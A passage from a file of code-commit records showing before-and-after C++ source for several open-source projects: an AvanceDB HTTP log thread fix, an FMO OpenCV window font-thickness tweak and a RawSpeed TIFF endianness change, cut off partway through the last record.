.def_property_readonly_static(\"GEOMETRY\", [](py::object) {return UPDATE_GEOMETRY;})\n        .def_property_readonly_static(\"TOPOLOGY\", [](py::object) {return UPDATE_TOPOLOGY;})\n        .def_property_readonly_static(\"SELECTION\", [](py::object) {return UPDATE_SELECTION;})\n        .def_property_readonly_static(\"SELECTION_VERTICES\", [](py::object) {return UPDATE_SELECTION_VERTICES;})\n        .def_property_readonly_static(\"SELECTION_EDGES\", [](py::object) {return UPDATE_SELECTION_EDGES;})\n        .def_property_readonly_static(\"SELECTION_HALFEDGES\", [](py::object) {return UPDATE_SELECTION_HALFEDGES;})\n        .def_property_readonly_static(\"SELECTION_FACES\", [](py::object) {return UPDATE_SELECTION_FACES;})\n        .def_property_readonly_static(\"SELECTION_KNOTS\", [](py::object) {return UPDATE_SELECTION_KNOTS;})\n        .def_property_readonly_static(\"COLOR\", [](py::object) {return UPDATE_COLOR;})\n        .def_property_readonly_static(\"TEXTURE\", [](py::object) {return UPDATE_TEXTURE;})\n        .def_property_readonly_static(\"STATE\", [](py::object) {return UPDATE_STATE;})\n        .def_property_readonly_static(\"UNUSED\", [](py::object) {return UPDATE_UNUSED;;});\n}\n\n#if (PY_MAJOR_VERSION == 2)\n    PyObject* (*openflipper_pyinit_function)(void) = &initopenflipper;\/\/untested\n#else\n    PyObject* (*openflipper_pyinit_function)(void) = &PyInit_openflipper;\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  AvanceDB - an in-memory database similar to Apache CouchDB\n *  Copyright (C) 2015-2017 Ripcord Software\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"http_server_log.h\"\n\n#include <iostream>\n#include <cstdio>\n\n#include <boost\/format.hpp>\n#include <boost\/algorithm\/string\/replace.hpp>\n#include <boost\/atomic.hpp>\n#include <boost\/thread.hpp>\n\n#include \"termcolor\/termcolor.hpp\"\n\n#include \"set_thread_name.h\"\n\nstatic const unsigned cumulativeSecsPerMonth[12] = { 2678400, 5097600, 7776000, 10368000, 13046400, 15638400, 18316800, 20995200, 23587200, 26265600, 28857600, 31536000 };\nstatic const unsigned cumulativeSecsPerMonthLeap[12] = { 2678400, 5184000, 7862400, 10454400, 13132800, 15724800, 18403200, 21081600, 23673600, 26352000, 28944000, 31622400 };\n\nstruct LogRow {\n    LogRow() : status(0) {\n        data[0] = 0;\n    }\n    \n    int status;\n    char data[2048];\n};\n\nstatic const unsigned maxLogRows = 4096;\nstatic LogRow logRows[maxLogRows];\nstatic boost::atomic<unsigned> writeRowIndex;\nstatic unsigned readRowIndex = 0;\n\nstatic void streamWriterThread() {\n    SetThreadName::Set(\"HttpServerLog\");\n    \n    try {\n        while (true) {\n            boost::this_thread::sleep_for(boost::chrono::seconds(2));\n            \n            int lastStatus = 200;\n            auto lastRowIndex = writeRowIndex.load();\n            \n            while (readRowIndex < lastRowIndex) {\n                for (auto i = readRowIndex; i < lastRowIndex; ++i) {\n                    auto& row = logRows[i % maxLogRows];\n\n                    if (row.status != lastStatus) {\n                        if (row.status >= 500) {\n                            std::cout << termcolor::red;\n                        } else if (row.status >= 400) {\n                            std::cout << termcolor::grey << termcolor::bold;\n                        } else if (row.status >= 300) {\n                            std::cout << termcolor::yellow;\n                        } else {\n                            std::cout << termcolor::reset;\n                        }\n\n                        lastStatus = row.status;\n                    }\n\n                    std::cout << row.data << \"\\n\";\n                }\n\n                readRowIndex = lastRowIndex;\n                lastRowIndex = writeRowIndex.load();\n            }                        \n            \n            std::cout << termcolor::reset << std::flush;                        \n        }\n    } catch (boost::thread_interrupted&) {\n    }\n}\n\nstatic boost::thread logThread(streamWriterThread);\n\nvoid HttpServerLog::Append(rs::httpserver::socket_ptr socket, rs::httpserver::request_ptr request, rs::httpserver::response_ptr response, const std::time_t& start, long duration) {\n    \n    int year, month, day, hour, min, sec;\n    GetTimestamp(start, year, month, day, hour, min, sec);\n    \n    const auto queryString = request->getHeaders()->getQueryString();\n    \n    const auto localAddr = socket->getLocalEndpoint().address().to_string();\n    const auto remoteAddr = socket->getRemoteEndpoint().address().to_string();\n    \n    auto index = writeRowIndex++;    \n    index %= maxLogRows;\n    \n    \/\/ TODO: optimize the string formatting to reduce ad-hoc allocations and re-use already known string values (dates, etc.)\n    logRows[index].status = response->getStatusCode();\n    std::snprintf(logRows[index].data, sizeof(logRows[0].data), \n        \"%04d-%02d-%02d %02d:%02d:%02dZ %s %s %s %s %u %s %s %d %u\",\n        year, month, day, hour, min, sec,\n        localAddr.c_str(),\n        request->getMethod().c_str(),\n        request->getUri().c_str(),\n        queryString.size() > 0 ? queryString.c_str() : \"-\",\n        socket->getLocalEndpoint().port(),\n        remoteAddr.c_str(),\n        boost::replace_all_copy(request->getHeaders()->getUserAgent(), \" \", \"+\").c_str(),\n        response->getStatusCode(),\n        duration);        \n}\n\nvoid HttpServerLog::GetTimestamp(const std::time_t& time, int& year, int& month, int& day, int& hour, int& min, int& sec) {\n    auto totalDays = time \/ 86400;\n    auto elapsedYears = (long)(totalDays \/ 365.25);\n    auto leapYears = ((long)elapsedYears) \/ 4;\n    auto yearStart = ((elapsedYears - leapYears) * 31536000) + (leapYears * 31622400);\n    auto elapsedSecondsThisYear = time - yearStart;    \n    \n    year = 1970 + elapsedYears;\n    auto isLeap = (year % 4) == 0;\n    month = GetMonth(elapsedSecondsThisYear, isLeap);\n    day = GetDay(elapsedSecondsThisYear, month, isLeap);\n        \n    ++month;\n    ++day;\n    \n    hour = (time % (24 * 60 * 60)) \/ (60 * 60);\n    min = (time % (60 * 60)) \/ 60;\n    sec = time % 60;\n}\n\nunsigned HttpServerLog::GetMonth(long elapsedSeconds, bool isLeap) {\n    const unsigned* lookup = isLeap ? cumulativeSecsPerMonthLeap : cumulativeSecsPerMonth;\n    \n    int i = 6, left = 0, right = 12;\n    for (; left < right; i = left + ((right - left) \/ 2)) {\n        if (elapsedSeconds < lookup[i]) {\n            right = i - 1;\n        } else {\n            left = i + 1;\n        }\n    }\n    \n    return i;\n}\n\nunsigned HttpServerLog::GetDay(long elapsedSeconds, unsigned month, bool isLeap) {\n    const unsigned* lookup = isLeap ? cumulativeSecsPerMonthLeap : cumulativeSecsPerMonth;\n    \n    auto dayMod = month > 0 ? elapsedSeconds - lookup[month - 1] : elapsedSeconds;\n    auto day = dayMod \/ 86400;\n    return day;\n}<commit_msg>Start the log thread from Append not from a static * on fork() the thread is lost and no logging happens<commit_after>\/*\n *  AvanceDB - an in-memory database similar to Apache CouchDB\n *  Copyright (C) 2015-2017 Ripcord Software\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"http_server_log.h\"\n\n#include <iostream>\n#include <cstdio>\n\n#include <boost\/format.hpp>\n#include <boost\/algorithm\/string\/replace.hpp>\n#include <boost\/atomic.hpp>\n#include <boost\/thread.hpp>\n\n#include \"termcolor\/termcolor.hpp\"\n\n#include \"set_thread_name.h\"\n\nstatic const unsigned cumulativeSecsPerMonth[12] = { 2678400, 5097600, 7776000, 10368000, 13046400, 15638400, 18316800, 20995200, 23587200, 26265600, 28857600, 31536000 };\nstatic const unsigned cumulativeSecsPerMonthLeap[12] = { 2678400, 5184000, 7862400, 10454400, 13132800, 15724800, 18403200, 21081600, 23673600, 26352000, 28944000, 31622400 };\n\nstruct LogRow {\n    LogRow() : status(0) {\n        data[0] = 0;\n    }\n    \n    int status;\n    char data[2048];\n};\n\nstatic const unsigned maxLogRows = 4096;\nstatic LogRow logRows[maxLogRows];\nstatic boost::atomic<unsigned> writeRowIndex;\nstatic unsigned readRowIndex = 0;\n\nstatic boost::once_flag startThreadOnce = BOOST_ONCE_INIT;\n\nstatic void StreamWriterThread() {\n    SetThreadName::Set(\"avancedb-httplog\");\n    \n    try {\n        while (true) {\n            boost::this_thread::sleep_for(boost::chrono::seconds(2));\n            \n            int lastStatus = 200;\n            auto lastRowIndex = writeRowIndex.load();\n            \n            while (readRowIndex < lastRowIndex) {\n                for (auto i = readRowIndex; i < lastRowIndex; ++i) {\n                    auto& row = logRows[i % maxLogRows];\n\n                    if (row.status != lastStatus) {\n                        if (row.status >= 500) {\n                            std::cout << termcolor::red;\n                        } else if (row.status >= 400) {\n                            std::cout << termcolor::grey << termcolor::bold;\n                        } else if (row.status >= 300) {\n                            std::cout << termcolor::yellow;\n                        } else {\n                            std::cout << termcolor::reset;\n                        }\n\n                        lastStatus = row.status;\n                    }\n\n                    std::cout << row.data << \"\\n\";\n                }\n\n                readRowIndex = lastRowIndex;\n                lastRowIndex = writeRowIndex.load();\n            }                        \n            \n            std::cout << termcolor::reset << std::flush;                        \n        }\n    } catch (boost::thread_interrupted&) {\n    }\n}\n\nstatic void StartStreamWriterThread() {\n    boost::thread logThread(StreamWriterThread);\n    logThread.detach();\n}\n\nvoid HttpServerLog::Append(rs::httpserver::socket_ptr socket, rs::httpserver::request_ptr request, rs::httpserver::response_ptr response, const std::time_t& start, long duration) {\n    \/\/ start the log thread if it isn't already running\n    boost::call_once(StartStreamWriterThread, startThreadOnce);\n    \n    int year, month, day, hour, min, sec;\n    GetTimestamp(start, year, month, day, hour, min, sec);\n    \n    const auto queryString = request->getHeaders()->getQueryString();\n    \n    const auto localAddr = socket->getLocalEndpoint().address().to_string();\n    const auto remoteAddr = socket->getRemoteEndpoint().address().to_string();\n    \n    auto index = writeRowIndex++;    \n    index %= maxLogRows;\n    \n    \/\/ TODO: optimize the string formatting to reduce ad-hoc allocations and re-use already known string values (dates, etc.)\n    logRows[index].status = response->getStatusCode();\n    std::snprintf(logRows[index].data, sizeof(logRows[0].data), \n        \"%04d-%02d-%02d %02d:%02d:%02dZ %s %s %s %s %u %s %s %d %u\",\n        year, month, day, hour, min, sec,\n        localAddr.c_str(),\n        request->getMethod().c_str(),\n        request->getUri().c_str(),\n        queryString.size() > 0 ? queryString.c_str() : \"-\",\n        socket->getLocalEndpoint().port(),\n        remoteAddr.c_str(),\n        boost::replace_all_copy(request->getHeaders()->getUserAgent(), \" \", \"+\").c_str(),\n        response->getStatusCode(),\n        duration);        \n}\n\nvoid HttpServerLog::GetTimestamp(const std::time_t& time, int& year, int& month, int& day, int& hour, int& min, int& sec) {\n    auto totalDays = time \/ 86400;\n    auto elapsedYears = (long)(totalDays \/ 365.25);\n    auto leapYears = ((long)elapsedYears) \/ 4;\n    auto yearStart = ((elapsedYears - leapYears) * 31536000) + (leapYears * 31622400);\n    auto elapsedSecondsThisYear = time - yearStart;    \n    \n    year = 1970 + elapsedYears;\n    auto isLeap = (year % 4) == 0;\n    month = GetMonth(elapsedSecondsThisYear, isLeap);\n    day = GetDay(elapsedSecondsThisYear, month, isLeap);\n        \n    ++month;\n    ++day;\n    \n    hour = (time % (24 * 60 * 60)) \/ (60 * 60);\n    min = (time % (60 * 60)) \/ 60;\n    sec = time % 60;\n}\n\nunsigned HttpServerLog::GetMonth(long elapsedSeconds, bool isLeap) {\n    const unsigned* lookup = isLeap ? cumulativeSecsPerMonthLeap : cumulativeSecsPerMonth;\n    \n    int i = 6, left = 0, right = 12;\n    for (; left < right; i = left + ((right - left) \/ 2)) {\n        if (elapsedSeconds < lookup[i]) {\n            right = i - 1;\n        } else {\n            left = i + 1;\n        }\n    }\n    \n    return i;\n}\n\nunsigned HttpServerLog::GetDay(long elapsedSeconds, unsigned month, bool isLeap) {\n    const unsigned* lookup = isLeap ? cumulativeSecsPerMonthLeap : cumulativeSecsPerMonth;\n    \n    auto dayMod = month > 0 ? elapsedSeconds - lookup[month - 1] : elapsedSeconds;\n    auto day = dayMod \/ 86400;\n    return day;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"window.hpp\"\n#include \"desktop-opencv.hpp\"\n#include <chrono>\n#include <fmo\/assert.hpp>\n#include <fmo\/pointset.hpp>\n#include <fmo\/stats.hpp>\n\n#define TOSTR_INNER(x) #x\n#define TOSTR(x) TOSTR_INNER(x)\n\nnamespace {\n    const char* const windowName = TOSTR(FMO_BINARY_NAME);\n    const char* const keyHelp =\n        \"[space] pause | [enter] step | [,][.] jump 10 frames | [esc] quit\";\n\n    constexpr Colour colourFp = Colour::lightMagenta();\n    constexpr Colour colourFn = Colour::lightRed();\n    constexpr Colour colourTp = Colour::lightGreen();\n\n    cv::Vec3b toCv(Colour c) { return {c.b, c.g, c.r}; }\n\n    struct PutColor {\n        cv::Vec3b color;\n        cv::Mat mat;\n\n        void operator()(fmo::Pos pt) { mat.at<cv::Vec3b>({pt.x, pt.y}) = color; }\n    };\n}\n\nWindow::~Window() { close(); }\n\nvoid Window::open(fmo::Dims dims) {\n    if (mOpen) return;\n    mOpen = true;\n    cv::namedWindow(windowName, cv::WINDOW_NORMAL);\n\n    if (dims.height > 800) {\n        dims.width \/= 2;\n        dims.height \/= 2;\n    }\n\n    cv::resizeWindow(windowName, dims.width, dims.height);\n}\n\nvoid Window::close() {\n    if (!mOpen) return;\n    mOpen = false;\n    cv::destroyWindow(windowName);\n}\n\nvoid Window::display(fmo::Mat& image) {\n    open(image.dims());\n    cv::Mat mat = image.wrap();\n    printText(mat);\n    cv::imshow(windowName, mat);\n}\n\nvoid Window::printText(cv::Mat& mat) {\n    if (mLines.empty()) return;\n    int fontFace = cv::FONT_HERSHEY_SIMPLEX;\n    double fontScale = mat.rows \/ 1000.;\n    int thick = 2;\n    int lineWidth = 0;\n    int lineHeight = 0;\n    int baseline = 0;\n\n    for (auto& line : mLines) {\n        auto lineSize = cv::getTextSize(line, fontFace, fontScale, thick, &baseline);\n        lineWidth = std::max(lineWidth, lineSize.width);\n        lineHeight = std::max(lineHeight, lineSize.height);\n    }\n    int above = (9 * lineHeight \/ 14) + (lineHeight \/ 2);\n    int below = 5 * lineHeight \/ 14;\n    int pad = lineHeight \/ 2;\n\n    \/\/ darken the area for the text\n    int xMax = 2 * pad + lineWidth;\n    int yMax = 2 * pad + int(mLines.size()) * (above + below);\n    cv::Rect rect{0, 0, xMax, yMax};\n    mat(rect) = 0.3 * mat(rect);\n\n    \/\/ render the text\n    cv::Scalar color(mColour.b, mColour.g, mColour.r);\n    int y = pad;\n    for (auto& line : mLines) {\n        y += above;\n        cv::Point origin = {pad, y};\n        cv::putText(mat, line, origin, fontFace, fontScale, color, thick);\n        y += below;\n    }\n    mLines.clear();\n\n    \/\/ render key help\n    int helpRectHeight = (above + below) + 2 * pad;\n    cv::Rect helpRect{0, mat.rows - helpRectHeight - 1, mat.cols, helpRectHeight};\n    mat(helpRect) = 0.3 * mat(helpRect);\n    cv::Point helpOrigin{pad, mat.rows - pad - below};\n    cv::putText(mat, keyHelp, helpOrigin, fontFace, fontScale, color, thick);\n}\n\nCommand Window::getCommand(bool block) {\n    int waitMs = 1;\n\n    if (block) {\n        waitMs = 0;\n    } else {\n        int64_t sinceLastKeyTime = fmo::nanoTime() - mLastKeyTime;\n        int64_t waitNs = mFrameTimeNs - sinceLastKeyTime;\n        if (waitNs > 1'000'000) { waitMs = int(waitNs \/ 1'000'000); }\n    }\n\n    int keyCode = cv::waitKey(waitMs);\n    mLastKeyTime = fmo::nanoTime();\n    return encodeKey(keyCode);\n}\n\nCommand Window::encodeKey(int keyCode) {\n    switch (keyCode) {\n    case 27: \/\/ escape\n        return Command::QUIT;\n    case 13: \/\/ cr\n    case 10: \/\/ lf\n        return Command::STEP;\n    case ' ':\n        return Command::PAUSE;\n    case ',':\n        return Command::JUMP_BACKWARD;\n    case '.':\n        return Command::JUMP_FORWARD;\n    default:\n        return Command::NONE;\n    };\n}\n\nvoid drawPoints(const fmo::PointSet& points, fmo::Mat& target, Colour colour) {\n    FMO_ASSERT(target.format() == fmo::Format::BGR, \"bad format\");\n    cv::Mat mat = target.wrap();\n    cv::Vec3b vec = {colour.b, colour.g, colour.r};\n\n    for (auto& pt : points) { mat.at<cv::Vec3b>({pt.x, pt.y}) = vec; }\n}\n\nvoid drawPointsGt(const fmo::PointSet& ps, const fmo::PointSet& gt, fmo::Mat& target) {\n    FMO_ASSERT(target.format() == fmo::Format::BGR, \"bad format\");\n    cv::Mat mat = target.wrap();\n    PutColor c1{toCv(colourFp), mat};\n    PutColor c2{toCv(colourFn), mat};\n    PutColor c3{toCv(colourTp), mat};\n    fmo::pointSetCompare(ps, gt, c1, c2, c3);\n}\n<commit_msg>Adjust font thickness<commit_after>#include \"window.hpp\"\n#include \"desktop-opencv.hpp\"\n#include <chrono>\n#include <fmo\/assert.hpp>\n#include <fmo\/pointset.hpp>\n#include <fmo\/stats.hpp>\n\n#define TOSTR_INNER(x) #x\n#define TOSTR(x) TOSTR_INNER(x)\n\nnamespace {\n    const char* const windowName = TOSTR(FMO_BINARY_NAME);\n    const char* const keyHelp =\n        \"[space] pause | [enter] step | [,][.] jump 10 frames | [esc] quit\";\n\n    constexpr Colour colourFp = Colour::lightMagenta();\n    constexpr Colour colourFn = Colour::lightRed();\n    constexpr Colour colourTp = Colour::lightGreen();\n\n    constexpr int downscaleThresh = 800;\n\n    cv::Vec3b toCv(Colour c) { return {c.b, c.g, c.r}; }\n\n    struct PutColor {\n        cv::Vec3b color;\n        cv::Mat mat;\n\n        void operator()(fmo::Pos pt) { mat.at<cv::Vec3b>({pt.x, pt.y}) = color; }\n    };\n}\n\nWindow::~Window() { close(); }\n\nvoid Window::open(fmo::Dims dims) {\n    if (mOpen) return;\n    mOpen = true;\n    cv::namedWindow(windowName, cv::WINDOW_NORMAL);\n\n    if (dims.height > downscaleThresh) {\n        dims.width \/= 2;\n        dims.height \/= 2;\n    }\n\n    cv::resizeWindow(windowName, dims.width, dims.height);\n}\n\nvoid Window::close() {\n    if (!mOpen) return;\n    mOpen = false;\n    cv::destroyWindow(windowName);\n}\n\nvoid Window::display(fmo::Mat& image) {\n    open(image.dims());\n    cv::Mat mat = image.wrap();\n    printText(mat);\n    cv::imshow(windowName, mat);\n}\n\nvoid Window::printText(cv::Mat& mat) {\n    if (mLines.empty()) return;\n    int fontFace = cv::FONT_HERSHEY_SIMPLEX;\n    double fontScale = mat.rows \/ 1000.;\n    int thick = (mat.rows > downscaleThresh) ? 2 : 1;\n    int lineWidth = 0;\n    int lineHeight = 0;\n    int baseline = 0;\n\n    for (auto& line : mLines) {\n        auto lineSize = cv::getTextSize(line, fontFace, fontScale, thick, &baseline);\n        lineWidth = std::max(lineWidth, lineSize.width);\n        lineHeight = std::max(lineHeight, lineSize.height);\n    }\n    int above = (9 * lineHeight \/ 14) + (lineHeight \/ 2);\n    int below = 5 * lineHeight \/ 14;\n    int pad = lineHeight \/ 2;\n\n    \/\/ darken the area for the text\n    int xMax = 2 * pad + lineWidth;\n    int yMax = 2 * pad + int(mLines.size()) * (above + below);\n    cv::Rect rect{0, 0, xMax, yMax};\n    mat(rect) = 0.3 * mat(rect);\n\n    \/\/ render the text\n    cv::Scalar color(mColour.b, mColour.g, mColour.r);\n    int y = pad;\n    for (auto& line : mLines) {\n        y += above;\n        cv::Point origin = {pad, y};\n        cv::putText(mat, line, origin, fontFace, fontScale, color, thick);\n        y += below;\n    }\n    mLines.clear();\n\n    \/\/ render key help\n    int helpRectHeight = (above + below) + 2 * pad;\n    cv::Rect helpRect{0, mat.rows - helpRectHeight - 1, mat.cols, helpRectHeight};\n    mat(helpRect) = 0.3 * mat(helpRect);\n    cv::Point helpOrigin{pad, mat.rows - pad - below};\n    cv::putText(mat, keyHelp, helpOrigin, fontFace, fontScale, color, thick);\n}\n\nCommand Window::getCommand(bool block) {\n    int waitMs = 1;\n\n    if (block) {\n        waitMs = 0;\n    } else {\n        int64_t sinceLastKeyTime = fmo::nanoTime() - mLastKeyTime;\n        int64_t waitNs = mFrameTimeNs - sinceLastKeyTime;\n        if (waitNs > 1'000'000) { waitMs = int(waitNs \/ 1'000'000); }\n    }\n\n    int keyCode = cv::waitKey(waitMs);\n    mLastKeyTime = fmo::nanoTime();\n    return encodeKey(keyCode);\n}\n\nCommand Window::encodeKey(int keyCode) {\n    switch (keyCode) {\n    case 27: \/\/ escape\n        return Command::QUIT;\n    case 13: \/\/ cr\n    case 10: \/\/ lf\n        return Command::STEP;\n    case ' ':\n        return Command::PAUSE;\n    case ',':\n        return Command::JUMP_BACKWARD;\n    case '.':\n        return Command::JUMP_FORWARD;\n    default:\n        return Command::NONE;\n    };\n}\n\nvoid drawPoints(const fmo::PointSet& points, fmo::Mat& target, Colour colour) {\n    FMO_ASSERT(target.format() == fmo::Format::BGR, \"bad format\");\n    cv::Mat mat = target.wrap();\n    cv::Vec3b vec = {colour.b, colour.g, colour.r};\n\n    for (auto& pt : points) { mat.at<cv::Vec3b>({pt.x, pt.y}) = vec; }\n}\n\nvoid drawPointsGt(const fmo::PointSet& ps, const fmo::PointSet& gt, fmo::Mat& target) {\n    FMO_ASSERT(target.format() == fmo::Format::BGR, \"bad format\");\n    cv::Mat mat = target.wrap();\n    PutColor c1{toCv(colourFp), mat};\n    PutColor c2{toCv(colourFn), mat};\n    PutColor c3{toCv(colourTp), mat};\n    fmo::pointSetCompare(ps, gt, c1, c2, c3);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"StdAfx.h\"\r\n#include \"TiffEntryBE.h\"\r\n\/*\r\n    RawSpeed - RAW file decoder.\r\n\r\n    Copyright (C) 2009 Klaus Post\r\n\r\n    This library is free software; you can redistribute it and\/or\r\n    modify it under the terms of the GNU Lesser General Public\r\n    License as published by the Free Software Foundation; either\r\n    version 2 of the License, or (at your option) any later version.\r\n\r\n    This library is distributed in the hope that it will be useful,\r\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\r\n    Lesser General Public License for more details.\r\n\r\n    You should have received a copy of the GNU Lesser General Public\r\n    License along with this library; if not, write to the Free Software\r\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\r\n\r\n    http:\/\/www.klauspost.com\r\n*\/\r\n\r\nnamespace RawSpeed {\r\n\r\nTiffEntryBE::TiffEntryBE(FileMap* f, uint32 offset) : mDataSwapped(false) {\r\n  type = TIFF_UNDEFINED;  \/\/ We set type to undefined to avoid debug assertion errors.\r\n  data = f->getDataWrt(offset);\r\n  tag = (TiffTag)getShort();\r\n  data += 2;\r\n  TiffDataType _type = (TiffDataType)getShort();\r\n  data += 2;\r\n  count = getInt();\r\n  type = _type;         \/\/Now we can set it to the proper type\r\n\r\n  if (type > 13)\r\n    ThrowTPE(\"Error reading TIFF structure. Unknown Type 0x%x encountered.\", type);\r\n  uint32 bytesize = count << datashifts[type];\r\n  if (bytesize <= 4) {\r\n    data = f->getDataWrt(offset + 8);\r\n  } else { \/\/ offset\r\n    data = f->getDataWrt(offset + 8);\r\n    data_offset = (unsigned int)data[0] << 24 | (unsigned int)data[1] << 16 | (unsigned int)data[2] << 8 | (unsigned int)data[3];\r\n    CHECKSIZE(data_offset + bytesize);\r\n    data = f->getDataWrt(data_offset);\r\n  }\r\n#ifdef _DEBUG\r\n  debug_intVal = 0xC0CAC01A;\r\n  debug_floatVal = sqrtf(-1);\r\n\r\n  if (type == TIFF_LONG || type == TIFF_SHORT)\r\n    debug_intVal = getInt();\r\n  if (type == TIFF_FLOAT || type == TIFF_DOUBLE)\r\n    debug_floatVal = getFloat();\r\n#endif\r\n}\r\n\r\nTiffEntryBE::~TiffEntryBE(void) {\r\n}\r\n\r\nunsigned int TiffEntryBE::getInt() {\r\n  if (!(type == TIFF_LONG || type == TIFF_SHORT || type == TIFF_UNDEFINED))\r\n    ThrowTPE(\"TIFF, getInt: Wrong type 0x%x encountered. Expected Int\", type);\r\n  if (type == TIFF_SHORT)\r\n    return getShort();\r\n  return (unsigned int)data[0] << 24 | (unsigned int)data[1] << 16 | (unsigned int)data[2] << 8 | (unsigned int)data[3];\r\n}\r\n\r\nunsigned short TiffEntryBE::getShort() {\r\n  if (!(type == TIFF_SHORT || type == TIFF_UNDEFINED))\r\n    ThrowTPE(\"TIFF, getShort: Wrong type 0x%x encountered. Expected Short\", type);\r\n  return (unsigned short)data[0] << 8 | (unsigned short)data[1];\r\n}\r\n\r\nconst unsigned int* TiffEntryBE::getIntArray() {\r\n  \/\/TODO: Make critical section to avoid clashes.\r\n  if (!(type == TIFF_LONG || type == TIFF_UNDEFINED || type == TIFF_RATIONAL ||  type == TIFF_SRATIONAL))\r\n    ThrowTPE(\"TIFF, getIntArray: Wrong type 0x%x encountered. Expected Int\", type);\r\n  if (mDataSwapped)\r\n    return (unsigned int*)&data[0];\r\n\r\n  unsigned int* d = (unsigned int*) & data[0];\r\n  for (uint32 i = 0; i < count; i++) {\r\n    d[i] = (unsigned int)data[i*4+0] << 24 | (unsigned int)data[i*4+1] << 16 | (unsigned int)data[i*4+2] << 8 | (unsigned int)data[i*4+3];\r\n  }\r\n  mDataSwapped = true;\r\n  return d;\r\n}\r\n\r\nconst unsigned short* TiffEntryBE::getShortArray() {\r\n  \/\/TODO: Make critical section to avoid clashes.\r\n  if (!(type == TIFF_SHORT || type == TIFF_UNDEFINED))\r\n    ThrowTPE(\"TIFF, getShortArray: Wrong type 0x%x encountered. Expected Short\", type);\r\n\r\n  if (mDataSwapped)\r\n    return (unsigned short*)&data[0];\r\n\r\n  unsigned short* d = (unsigned short*) & data[0];\r\n  for (uint32 i = 0; i < count; i++) {\r\n    d[i] = (unsigned short)data[i*2+0] << 8 | (unsigned short)data[i*2+1];\r\n  }\r\n  mDataSwapped = true;\r\n  return d;\r\n}\r\n\r\n} \/\/ namespace RawSpeed\r\n<commit_msg>Swap all elements of rational fields on platforms where endianess isn't the same as image. Check if data has been swapped when returning a single value.<commit_after>#include \"StdAfx.h\"\r\n#include \"TiffEntryBE.h\"\r\n\/*\r\n    RawSpeed - RAW file decoder.\r\n\r\n    Copyright (C) 2009 Klaus Post\r\n\r\n    This library is free software; you can redistribute it and\/or\r\n    modify it under the terms of the GNU Lesser General Public\r\n    License as published by the Free Software Foundation; either\r\n    version 2 of the License, or (at your option) any later version.\r\n\r\n    This library is distributed in the hope that it will be useful,\r\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\r\n    Lesser General Public License for more details.\r\n\r\n    You should have received a copy of the GNU Lesser General Public\r\n    License along with this library; if not, write to the Free Software\r\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\r\n\r\n    http:\/\/www.klauspost.com\r\n*\/\r\n\r\nnamespace RawSpeed {\r\n\r\nTiffEntryBE::TiffEntryBE(FileMap* f, uint32 offset) : mDataSwapped(false) {\r\n  type = TIFF_UNDEFINED;  \/\/ We set type to undefined to avoid debug assertion errors.\r\n  data = f->getDataWrt(offset);\r\n  tag = (TiffTag)getShort();\r\n  data += 2;\r\n  TiffDataType _type = (TiffDataType)getShort();\r\n  data += 2;\r\n  count = getInt();\r\n  type = _type;         \/\/Now we can set it to the proper type\r\n\r\n  if (type > 13)\r\n    ThrowTPE(\"Error reading TIFF structure. Unknown Type 0x%x encountered.\", type);\r\n  uint32 bytesize = count << datashifts[type];\r\n  if (bytesize <= 4) {\r\n    data = f->getDataWrt(offset + 8);\r\n  } else { \/\/ offset\r\n    data = f->getDataWrt(offset + 8);\r\n    data_offset = (unsigned int)data[0] << 24 | (unsigned int)data[1] << 16 | (unsigned int)data[2] << 8 | (unsigned int)data[3];\r\n    CHECKSIZE(data_offset + bytesize);\r\n    data = f->getDataWrt(data_offset);\r\n  }\r\n#ifdef _DEBUG\r\n  debug_intVal = 0xC0CAC01A;\r\n  debug_floatVal = sqrtf(-1);\r\n\r\n  if (type == TIFF_LONG || type == TIFF_SHORT)\r\n    debug_intVal = getInt();\r\n  if (type == TIFF_FLOAT || type == TIFF_DOUBLE)\r\n    debug_floatVal = getFloat();\r\n#endif\r\n}\r\n\r\nTiffEntryBE::~TiffEntryBE(void) {\r\n}\r\n\r\nunsigned int TiffEntryBE::getInt() {\r\n  if (!(type == TIFF_LONG || type == TIFF_SHORT || type == TIFF_UNDEFINED))\r\n    ThrowTPE(\"TIFF, getInt: Wrong type 0x%x encountered. Expected Int\", type);\r\n  if (type == TIFF_SHORT)\r\n    return getShort();\r\n  if (mDataSwapped)\r\n    return *(unsigned int*)&data[0];\r\n  return (unsigned int)data[0] << 24 | (unsigned int)data[1] << 16 | (unsigned int)data[2] << 8 | (unsigned int)data[3];\r\n}\r\n\r\nunsigned short TiffEntryBE::getShort() {\r\n  if (!(type == TIFF_SHORT || type == TIFF_UNDEFINED))\r\n    ThrowTPE(\"TIFF, getShort: Wrong type 0x%x encountered. Expected Short\", type);\r\n  if (mDataSwapped)\r\n    return *(unsigned short*)&data[0];\r\n  return (unsigned short)data[0] << 8 | (unsigned short)data[1];\r\n}\r\n\r\nconst unsigned int* TiffEntryBE::getIntArray() {\r\n  \/\/TODO: Make critical section to avoid 